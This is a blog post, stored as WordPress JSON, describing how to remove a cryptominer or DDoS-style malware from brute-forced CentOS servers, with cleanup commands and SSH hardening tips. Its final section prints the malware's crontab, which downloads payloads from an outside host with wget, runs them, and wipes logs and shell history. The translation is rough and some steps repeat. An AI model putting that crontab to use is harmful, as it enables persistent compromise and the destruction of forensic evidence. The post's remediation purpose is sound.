{"id":3726,"date":"2014-11-17T06:58:45","date_gmt":"2014-11-16T22:58:45","guid":{"rendered":"http:\/\/rmohan.com\/?p=3726"},"modified":"2014-11-17T06:58:45","modified_gmt":"2014-11-16T22:58:45","slug":"removing-linux-bash-shellshocker-malware","status":"publish","type":"post","link":"https:\/\/mohan.sg\/?p=3726","title":{"rendered":"Removing Linux BASH SHELLSHOCKER MALWARE"},"content":{"rendered":"<p>unknow processes dsfref, gfhddsfew, dsfref etc are starting automatically in centos 6.5<\/p>\n<p>Virus mainly present in \/etc\/init.d\/.  Virus will run automatic on the time system start, so remove entry from \/etc\/init.d. These are virus and its locations<\/p>\n<p>\/etc\/dsfref,<\/p>\n<p>\/etc\/gfhddsfew<\/p>\n<p>\/etc\/dsfref<\/p>\n<p>To Remove Virus from linux<\/p>\n<p>Note: I used chattr -i to change permissions and deleted the file sfewfesfs, when i tried to delete the file without using chattr, its says permissions cant be changed\/file cant be deleted . and one more thing, when i used command #rm \/etc\/sfewfesfs without chattr , the computer restarted, it happened all the time i tried to delete the file without chattr. and these executables show up in running processes only when internt is connected.<\/p>\n<p>Linux will be poisoned? Why is not this wonderful thing makes me met, and people really like me there, but fortunately there is, or is not depressed brother ~<br \/>\nsituation is server access is very slow, can not access basic Gesanchaiwu! DNSpod Santianliangtou email me &#8220;D Monitoring notice: Your website  inaccessible.&#8221;<br \/>\nMachine is CentOS, open port 22 root privileges, password length 9 all lowercase letters plus numbers erratic.<br \/>\nVPS service provider immediately to inquire about the situation, the feedback was informed of the results of the virus, was hacked<\/p>\n<p>chattr -i \/etc\/sfewfesfs*<br \/>\n rm -rf \/etc\/sfewfesfs*<br \/>\n chattr -i \/etc\/gfhjrtfyhuf*<br \/>\n rm -rf \/etc\/gfhjrtfyhuf*<br \/>\n chattr -i \/etc\/dsfrefr*<br \/>\n rm -rf \/etc\/dsfrefr*<br \/>\n chattr -i \/etc\/sdmfdsfhjfe*<br \/>\n rm -rf \/etc\/sdmfdsfhjfe*<br \/>\n chattr -i \/etc\/rewgtf3er4t*<br \/>\n rm -rf \/etc\/rewgtf3er4t*<br \/>\n chattr -i \/etc\/gfhddsfew*<br \/>\n rm -rf \/etc\/gfhddsfew*<br \/>\n chattr -i \/etc\/ferwfrre*<br \/>\n rm -rf \/etc\/ferwfrre*<br \/>\nRecently, I received a call from one of my client regarding the slowness(almost not responsive) of their linux server(running CentOS) and rapid increase in their network traffic.  Fortunately this is one of the their lab servers and they did not incur any production outages.<\/p>\n<p>Here is the  output of the top command on this server:<\/p>\n<p>top command \u2013 text<br \/>\ntop screenshot<br \/>\n.<br \/>\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND<br \/>\n 1252 root 20 0 66.0g 2.9g 380 S 725.2 38.0 11935:13 .sshdd141199598<br \/>\n 2025 root 20 0 423m 1760 0 S 3.2 0.0 0:39.98 gdmorpen<br \/>\n 14295 root 20 0 107m 1180 964 R 0.5 0.0 0:00.03 ps<br \/>\n 14297 root 20 0 107m 1180 964 R 0.5 0.0 0:00.03 ps<br \/>\n 8316 root 20 0 4085m 32m 204 S 0.3 0.4 3:49.86 .sshhdd14119186<br \/>\n 8318 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.47 .sshhdd14119186<br \/>\n 8319 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.27 .sshhdd14119186<br \/>\n 8321 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.11 .sshhdd14119186<br \/>\n 8338 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.67 .sshhdd14119186<br \/>\n 8339 root 20 0 4085m 32m 204 S 0.3 0.4 3:49.67 .sshhdd14119186<br \/>\n 8341 root 20 0 4085m 32m 204 S 0.3 0.4 3:49.86 .sshhdd14119186<br \/>\n 8345 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.10 .sshhdd14119186<br \/>\n 8360 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.59 .sshhdd14119186<br \/>\n 8364 root 20 0 4085m 32m 204 S 0.3 0.4 3:49.95 .sshhdd14119186<br \/>\n 8371 root 20 0 4085m 32m 204 S 0.3 0.4 3:49.94 .sshhdd14119186<br \/>\n 8380 root 20 0 4085m 32m 204 S 0.3 0.4 3:50.65 .sshhdd14119186<\/p>\n<p>top<\/p>\n<p>Here are the steps that I followed to remove this malware and hopefully this will helps others having the similar issue.<\/p>\n<p>1. Disconnect the server from network.<\/p>\n<p>2. Take the backup of root crontab and remove the root crontab.  You can restore any relevant entries that you are aware of from the backup.<\/p>\n<p>3. Remove the following files:<br \/>\n#rm \/etc\/gfhjrtfyhuf<br \/>\n#rm \/etc\/sfewfesfs<br \/>\n#rm \/etc\/gdmorpen<br \/>\n#rm \/etc\/fdsfsfvff<br \/>\n#rm \/etc\/rewgtf3er4t<br \/>\n#rm \/etc\/smarvtd<br \/>\n#rm \/etc\/whitptabil<br \/>\n#rm \/etc\/.SSH2<\/p>\n<p>In case you are not able delete any of the above file, you might have to change the permissions and then remove the file:<br \/>\n#chattr -i \/etc\/sfewfesfs<br \/>\n#rm \/etc\/sfewfesfs<\/p>\n<p>4. Remove the following files from \/tmp directory:<br \/>\n#rm \/tmp\/gfhjrtfyhuf<br \/>\n#rm \/tmp\/sfewfesfs<br \/>\n#rm \/tmp\/gdmorpen<br \/>\n#rm \/tmp\/fdsfsfvff<br \/>\n#rm \/tmp\/rewgtf3er4t<br \/>\n#rm \/tmp\/smarvtd<br \/>\n#rm \/tmp\/whitptabil<br \/>\n#rm \/tmp\/.sshdd*<\/p>\n<p>5. Remove file  \u2013 S99local from \/etc\/rc<x>.d directory<br \/>\n#rm \/etc\/rc2.d\/S99local<br \/>\n#rm \/etc\/rc2.d\/S99local<br \/>\n#rm \/etc\/rc3.d\/S99local<br \/>\n#rm \/etc\/rc4.d\/S99local<\/p>\n<p>6.  Disable remote root login:<\/p>\n<p>open the file etc\/ssh\/sshd_config and comment change the following value to \u201cno\u201d:<br \/>\n# Prevent root logins:<br \/>\nPermitRootLogin no<\/p>\n<p>6. Connect\/enable network.<\/p>\n<p>7. Update System:<br \/>\n#yum update<\/p>\n<p>8. Now check the current running process and make sure that there are no strange process that are running.<\/p>\n<p>Into the server and found that the machine stop contracting out, bandwidth filled (5 minutes can send 10G). 100% cpu usage, the name can be seen under the topsfewfesfs process there .sshddXXXXXXXXXXX (a string of random numbers) process. \/ Etc \/ down to see the name sfewfesfs, nhgbhhj and other strange names &#8220;red name&#8221; file.<br \/>\n22-port operation is also needed because the network service provider in the case not to force, only select the backup data reloading! Here the detoxification method of publicity, and then respondBrute force tactics are also summarized below:<br \/>\nIf you are within the network users, modify the external network to map port 22 to XXXX, change the root password:<\/p>\n<p>passwd<br \/>\n22 closed root privileges<br \/>\nfound in the \/ etc \/ ssh \/ sshd_config file remove # PermitRootLogin changed<\/p>\n<p>PermitRootLogin no<br \/>\nView occupied port<\/p>\n<p>netstat -atunlp<br \/>\nSee sfewfesfs and .sshdd1401029348 contracting process<br \/>\nView the process position<\/p>\n<p>ll \/proc\/??PID<br \/>\nDelete virus files<\/p>\n<p>chattr -i \/etc\/sfewfesfs*<br \/>\nrm -rf \/etc\/sfewfesfs*<br \/>\nSee suspicious file named nhgbhhj be deleted, etc.<\/p>\n<p>rm -rf \/etc\/nhgbhhj<br \/>\nrm -rf \/etc\/nhgbhhj***<br \/>\nTo delete a scheduled task ( very important ), the virus by the resurrection!<\/p>\n<p>rm -rf \/var\/spool\/cron\/root<br \/>\nrm -rf \/var\/spool\/cron\/root.1<br \/>\n.SSH2 See hidden files with ls -al, delete<\/p>\n<p>rm -rf \/etc\/.SSH2<br \/>\n.sshdd1401029348 See hidden files with ls -al, delete<\/p>\n<p>rm -rf \/tmp\/.sshdd140*<br \/>\nRestart the server to get.<br \/>\nGreat God emphasize online: root privileges port 22 open or not, nozuonodie, for the first time experienced linux poisoning once thought it was a very secure operating system in -_- !, once it felt cool, careless.<br \/>\nPoisoning reason to remind<\/p>\n<p>But the 22-port for VPS renter is to be opened, and the need to root account and privileges! Swollen what to do?<br \/>\n&#8212;- The following is important to emphasize in this article where &#8212;-<br \/>\nseemingly secure system is how the invasion of the pinch? The reason is that port 22 is open, with a simple root username + password, for example:<br \/>\nroot123<br \/>\nHackers use of brute force, is to use the &#8220;User Name&#8221; + &#8220;Password&#8221; exhaustive manner remote login, because Linux system default administrator username is root, just brute force password crackers, you can only nozuonodie the ~~<br \/>\nRecruit<\/p>\n<p>Other trick it? Is to change the root user name \ud83d\ude41 no specific order, you can only modify the configuration file)<br \/>\nroot user login, vi modify \/ etc \/ passwd &#038; \/ etc \/ shadow<br \/>\n(Not sure which of the two documents, please learn:\/ Etc \/ passwd &#038; \/ etc \/ shadow Comments )<\/p>\n<p>vi \/etc\/passwd<br \/>\nPress the i key to enter edit mode<br \/>\nto modify the 1st row a root for a new user name<br \/>\n, press esc to exit edit mode, and enter: x save and exit<\/p>\n<p>vi \/etc\/shadow<br \/>\nPress the i key to enter edit mode<br \/>\nto modify the 1st row a root for a new user name<br \/>\n, press esc to exit edit mode, and enter:! x forced to save and exit<br \/>\nNOTE: In order to properly use sudo, you need to modify \/ etc \/ sudoers settings, modify as follows (fromHow to add Users to \/ etc \/ sudoers ):<\/p>\n<p>vi \/etc\/sudoers<br \/>\nFind the root ALL = (ALL) ALL<br \/>\nadd the following line: a new username ALL = (ALL) ALL<br \/>\n: x forced to save and exit!<br \/>\nReconnect, enter a new user name + the original root password! You&#8217;re done! !<br \/>\nAttached virus script<\/p>\n<p>*\/1 * * * * killall -9 .IptabLes<br \/>\n*\/1 * * * * killall -9 nfsd4<br \/>\n*\/1 * * * * killall -9 profild.key<br \/>\n*\/1 * * * * killall -9 nfsd<br \/>\n*\/1 * * * * killall -9 DDosl<br \/>\n*\/1 * * * * killall -9 lengchao32<br \/>\n*\/1 * * * * killall -9 b26<br \/>\n*\/1 * * * * killall -9 codelove<br \/>\n*\/1 * * * * killall -9 32<br \/>\n*\/1 * * * * killall -9 64<br \/>\n*\/1 * * * * killall -9 new6<br \/>\n*\/1 * * * * killall -9 new4<br \/>\n*\/1 * * * * killall -9 node24<br \/>\n*\/1 * * * * killall -9 freeBSD<br \/>\n*\/99 * * * * killall -9 sdmfdsfhjfe<br \/>\n*\/98 * * * * killall -9 gfhjrtfyhuf<br \/>\n*\/97 * * * * killall -9 sdmfdsfhjfe<br \/>\n*\/96 * * * * killall -9 rewgtf3er4t<br \/>\n*\/95 * * * * killall -9 ferwfrre<br \/>\n*\/94 * * * * killall -9 dsfrefr<br \/>\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/gfhjrtfyhuf<br \/>\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/sfewfesfs<br \/>\n*\/130 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/sdmfdsfhjfe<br \/>\n*\/130 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/gfhddsfew<br \/>\n*\/140 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/rewgtf3er4t<br \/>\n*\/140 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/ferwfrre<br \/>\n*\/120 * * * * cd \/etc; wget http:\/\/www.dgnfd564sdf.com:8080\/dsfrefr<br \/>\n*\/120 * * * * cd \/root;rm -rf dir nohup.out<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir gfhjrtfyhuf<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir dsfrefr<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir sdmfdsfhjfe<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir rewgtf3er4t<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir gfhddsfew<br \/>\n*\/360 * * * * cd \/etc;rm -rf dir ferwfrre<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir sfewfesfs.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir gfhjrtfyhuf.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir dsfrefr.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir sdmfdsfhjfe.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir rewgtf3er4t.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir gfhddsfew.*<br \/>\n*\/1 * * * * cd \/etc;rm -rf dir ferwfrre.*<br \/>\n*\/1 * * * * chmod 7777 \/etc\/gfhjrtfyhuf<br \/>\n*\/1 * * * * chmod 7777 \/etc\/sfewfesfs<br \/>\n*\/1 * * * * chmod 7777 \/etc\/dsfrefr<br \/>\n*\/1 * * * * chmod 7777 \/etc\/sdmfdsfhjfe<br \/>\n*\/1 * * * * chmod 7777 \/etc\/rewgtf3er4t<br \/>\n*\/1 * * * * chmod 7777 \/etc\/gfhddsfew<br \/>\n*\/1 * * * * chmod 7777 \/etc\/ferwfrre<br \/>\n*\/99 * * * * nohup \/etc\/sfewfesfs > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/100 * * * * nohup \/etc\/sdmfdsfhjfe > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/99 * * * * nohup \/etc\/gfhjrtfyhuf > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/98 * * * * nohup \/etc\/sdmfdsfhjfe > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/97 * * * * nohup \/etc\/rewgtf3er4t > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/96 * * * * nohup \/etc\/ferwfrre > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/95 * * * * nohup \/etc\/dsfrefr > \/dev\/null 2>&#038;1&#038;<br \/>\n*\/1 * * * * echo &#8220;unset MAILCHECK&#8221; >> \/etc\/profile<br \/>\n*\/1 * * * * rm -rf \/root\/.bash_history<br \/>\n*\/1 * * * * touch \/root\/.bash_history<br \/>\n*\/1 * * * * history -r<br \/>\n*\/1 * * * * cd \/var\/log > dmesg<br \/>\n*\/1 * * * * cd \/var\/log > auth.log<br \/>\n*\/1 * * * * cd \/var\/log > alternatives.log<br \/>\n*\/1 * * * * cd \/var\/log > boot.log<br \/>\n*\/1 * * * * cd \/var\/log > btmp<br \/>\n*\/1 * * * * cd \/var\/log > cron<br \/>\n*\/1 * * * * cd \/var\/log > cups<br \/>\n*\/1 * * * * cd \/var\/log > daemon.log<br \/>\n*\/1 * * * * cd \/var\/log > dpkg.log<br \/>\n*\/1 * * * * cd \/var\/log > faillog<br \/>\n*\/1 * * * * cd \/var\/log > kern.log<br \/>\n*\/1 * * * * cd \/var\/log > lastlog<br \/>\n*\/1 * * * * cd \/var\/log > maillog<br \/>\n*\/1 * * * * cd \/var\/log > user.log<br \/>\n*\/1 * * * * cd \/var\/log > Xorg.x.log<br \/>\n*\/1 * * * * cd \/var\/log > anaconda.log<br \/>\n*\/1 * * * * cd \/var\/log > yum.log<br \/>\n*\/1 * * * * cd \/var\/log > secure<br \/>\n*\/1 * * * * cd \/var\/log > wtmp<br \/>\n*\/1 * * * * cd \/var\/log > utmp<br \/>\n*\/1 * * * * cd \/var\/log > messages<br \/>\n*\/1 * * * * cd \/var\/log > spooler<br \/>\n*\/1 * * * * cd \/var\/log > sudolog<br \/>\n*\/1 * * * * cd \/var\/log > aculog<br \/>\n*\/1 * * * * cd \/var\/log > access-log<br \/>\n*\/1 * * * * cd \/root > .bash_history<br \/>\n*\/1 * * * * history -c<\/p>\n","protected":false},"excerpt":{"rendered":"<p>unknow processes dsfref, gfhddsfew, dsfref etc are starting automatically in centos 6.5<\/p>\n<p>Virus mainly present in \/etc\/init.d\/. Virus will run automatic on the time system start, so remove entry from \/etc\/init.d. These are virus and its locations<\/p>\n<p>\/etc\/dsfref,<\/p>\n<p>\/etc\/gfhddsfew<\/p>\n<p>\/etc\/dsfref<\/p>\n<p>To Remove Virus from linux<\/p>\n<p>Note: I used chattr -i to change permissions and deleted [&#8230;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[],"_links":{"self":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/3726"}],"collection":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3726"}],"version-history":[{"count":1,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/3726\/revisions"}],"predecessor-version":[{"id":3727,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/3726\/revisions\/3727"}],"wp:attachment":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3726"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3726"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3726"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}